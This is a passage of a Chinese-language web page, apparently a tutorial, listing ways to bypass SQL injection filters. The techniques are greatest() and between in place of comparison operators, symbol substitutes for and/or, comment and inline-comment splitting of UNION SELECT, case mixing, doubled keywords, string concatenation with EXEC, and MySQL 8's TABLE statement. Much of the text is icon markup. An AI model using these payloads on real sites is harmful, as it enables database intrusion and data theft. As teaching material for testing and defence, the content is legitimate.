  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>此时如果比较操作符被过滤，上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值</p>
<p>那么上面的这条SQL语句可以使用greatest变为如下的子句:</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">select</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">users</span><span class="w"> </span><span class="k">where</span><span class="w"> </span><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="n">greatest</span><span class="p">(</span><span class="n">ascii</span><span class="p">(</span><span class="n">substr</span><span class="p">(</span><span class="k">database</span><span class="p">(),</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">)),</span><span class="mi">64</span><span class="p">)</span><span class="o">=</span><span class="mi">64</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="使用between-and绕过">使用**<code>between</code> <code>and</code>**绕过<a class="anchor" href="#使用between-and绕过">#</a></h3>
<p>between a and b：返回a，b之间的数据，不包含b。</p>
<h2 id="过滤等号--">过滤等号（ <code>=</code> ）<a class="anchor" href="#过滤等号--">#</a></h2>
<h3 id="使用like-rlike-regexp-或者-使用-或者-">使用like 、rlike 、regexp 或者 使用&lt; 或者 &gt;<a class="anchor" href="#使用like-rlike-regexp-或者-使用-或者-">#</a></h3>
<h2 id="过滤or-and-xor-not">过滤<code>or</code> <code>and</code> <code>xor</code> <code>not</code><a class="anchor" href="#过滤or-and-xor-not">#</a></h2>
<h3 id="使用符号代替">使用符号代替<a class="anchor" href="#使用符号代替">#</a></h3>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">and</span><span class="o">=`&amp;&amp;`</span><span class="w">  </span><span class="k">or</span><span class="o">=`||`</span><span class="w">   </span><span class="n">xor</span><span class="o">=`|`</span><span class="w">   </span><span class="k">not</span><span class="o">=`!`</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h2 id="过滤unionselectwhere等">过滤<code>union</code>，<code>select</code>，<code>where</code>等<a class="anchor" href="#过滤unionselectwhere等">#</a></h2>
<h3 id="使用注释符绕过-1">使用<strong>注释符</strong>绕过<a class="anchor" href="#使用注释符绕过-1">#</a></h3>
<p>常用注释符：</p>
<p><code>//</code>、<code>--</code>、<code>/**/</code>、<code>#</code>、<code>--+</code>、<code>---</code>、<code>;</code>、<code>%00</code>、<code>--a</code></p>
<p>用法：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">U</span><span class="cm">/**/</span><span class="w"> </span><span class="n">NION</span><span class="w"> </span><span class="cm">/**/</span><span class="w"> </span><span class="n">SE</span><span class="cm">/**/</span><span class="w"> </span><span class="n">LECT</span><span class="w"> </span><span class="cm">/**/</span><span class="k">user</span><span class="err">，</span><span class="n">pwd</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="k">user</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="使用大小写绕过">使用<strong>大小写</strong>绕过<a class="anchor" href="#使用大小写绕过">#</a></h3>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">id</span><span class="o">=-</span><span class="mi">1</span><span class="s1">&#39;UnIoN/**/SeLeCT</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="使用内联注释绕过">使用<strong>内联注释</strong>绕过<a class="anchor" href="#使用内联注释绕过">#</a></h3>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">id</span><span class="o">=-</span><span class="mi">1</span><span class="s1">&#39;/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="使用双关键字绕过若删除掉第一个匹配的union就能绕过">使用<strong>双关键字</strong>绕过（若删除掉第一个匹配的union就能绕过）<a class="anchor" href="#使用双关键字绕过若删除掉第一个匹配的union就能绕过">#</a></h3>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">id</span><span class="o">=-</span><span class="mi">1</span><span class="s1">&#39;UNIunionONSeLselectECT1,2,3–-</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="使用加号拆解字符串">使用<strong>加号+拆解字符串</strong><a class="anchor" href="#使用加号拆解字符串">#</a></h3>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">or</span><span class="w"> </span><span class="err">‘</span><span class="n">swords</span><span class="err">’</span><span class="w"> </span><span class="o">=</span><span class="err">‘</span><span class="n">sw</span><span class="err">’</span><span class="w"> </span><span class="o">+</span><span class="err">’</span><span class="w"> </span><span class="n">ords</span><span class="err">’</span><span class="w"> </span><span class="err">；</span><span class="k">EXEC</span><span class="p">(</span><span class="err">‘</span><span class="k">IN</span><span class="err">’</span><span class="w"> </span><span class="o">+</span><span class="err">’</span><span class="w"> </span><span class="n">SERT</span><span class="w"> </span><span class="k">INTO</span><span class="w"> </span><span class="err">‘</span><span class="o">+</span><span class="err">’</span><span class="w"> </span><span class="err">…</span><span class="p">..</span><span class="err">’</span><span class="w"> </span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="使用语法新特性绕过屏蔽select">使用语法新特性绕过屏蔽select<a class="anchor" href="#使用语法新特性绕过屏蔽select">#</a></h3>
<p>在MySQL 8.0.19版本后，MySQL推出了一些新特性，使我们可以不使用select就能够取数据</p>
<h4 id="table-语句">&gt;TABLE 语句<a class="anchor" href="#table-语句">#</a></h4>
<p>可以直接列出表的全部内容</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">TABLE</span><span class="w"> </span><span class="k">table_name</span><span class="w"> </span><span class="p">[</span><span class="k">ORDER</span><span class="w"> </span><span class="k">BY</span><span class="w"> </span><span class="k">column_name</span><span class="p">]</span><span class="w"> </span><span class="p">[</span><span class="k">LIMIT</span><span class="w"> </span><span class="nb">number</span><span class="w"> </span><span class="p">[</span><span class="k">OFFSET</span><span class="w"> </span><span class="nb">number</span><span class="p">]]</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
